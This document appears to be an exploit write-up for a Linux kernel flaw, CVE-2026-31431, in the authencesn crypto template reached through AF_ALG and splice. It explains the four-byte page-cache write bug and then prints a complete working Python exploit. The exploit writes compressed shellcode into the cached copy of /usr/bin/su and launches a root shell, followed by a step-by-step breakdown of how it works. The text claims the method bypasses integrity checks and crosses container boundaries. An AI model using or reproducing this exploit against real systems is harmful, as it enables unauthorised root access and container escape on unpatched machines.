
Local privilege escalation exploit for CVE-2026-31431, corrupting setuid binaries in page cache via AF_ALG and splice to gain root shell.
A logic bug in the Linux kernel’s
authencesnAEAD template allows an unprivileged user to write 4 controlled bytes into the page cache of any readable file.
The provided Python script corrupts/usr/bin/suin memory and spawns a root shell.
CVE-2026-31431 is a flaw in the Linux kernel’s crypto subsystem, specifically in the authencesn (AEAD with Extended Sequence Number) template combined with the AF_ALG socket interface and the splice() system call.
Root cause:
The authencesn decryption routine uses the destination scatterlist as scratch space, writing 4 bytes past the legitimate output area.
When AF_ALG performs an in-place AEAD operation and splice() provides page cache pages (e.g., from a setuid binary) as the authentication tag, the out‑of‑bounds write lands directly into the kernel’s cached copy of that file.
Effect:
A local, unprivileged attacker can overwrite any 4‑byte aligned location in any file they can read. The corruption happens only in the page cache – the on‑disk file remains unchanged, bypassing file integrity checks.
Impact:
By overwriting a setuid binary (e.g., /usr/bin/su) with shellcode, an attacker can execute the binary and gain a root shell. The same primitive works across containers because the page cache is shared with the host.
exploi-copyfail.py)The exploit is a single 732‑byte Python script that uses only the standard library (os, socket, zlib). It works on any Linux distribution with kernel versions from 2017 to 2026 (pre‑patch).
#!/usr/bin/env python3
import os as g, zlib, socket as s
def d(x): return bytes.fromhex(x)
def c(f, t, c):
a = s.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279
v = a.setsockopt
v(h, 1, d('0800010000000010' + '0' * 64))
v(h, 5, None, 4)
u, _ = a.accept()
o = t + 4
i = d('00')
u.sendmsg([b"A" * 4 + c], [(h, 3, i * 4), (h, 2, b'\x10' + i * 19), (h, 4, b'\x08' + i * 3)], 32768)
r, w = g.pipe()
n = g.splice
n(f, w, o, offset_src=0)
n(r, u.fileno(), o)
try: u.recv(8 + t)
except: 0
f = g.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i < len(e):
c(f, i, e[i:i + 4])
i += 4
g.system("su")
Setup: Open an AF_ALG socket bound to authencesn(hmac(sha256),cbc(aes)). Set a dummy key and accept a request socket.
Payload: The shellcode (decompressed from the hex blob) is split into 4‑byte chunks.
Corruption loop: For each chunk:
sendmsg() provides the Associated Authenticated Data (AAD). Bytes 4–7 of the AAD contain the 4 bytes to write.
splice() feeds a portion of /usr/bin/su (the target setuid binary) into the socket’s TX scatterlist. The offset and length are chosen so that the authentication tag region lands on the target address inside the binary’s .text section.
recv() triggers the AEAD decryption. authencesn writes the 4‑byte chunk into the page cache of /usr/bin/su. The HMAC fails, but the write persists.
Execution: After all chunks are written, the script executes su. Because the page‑cached version now contains shellcode, su runs with root privileges and drops a shell.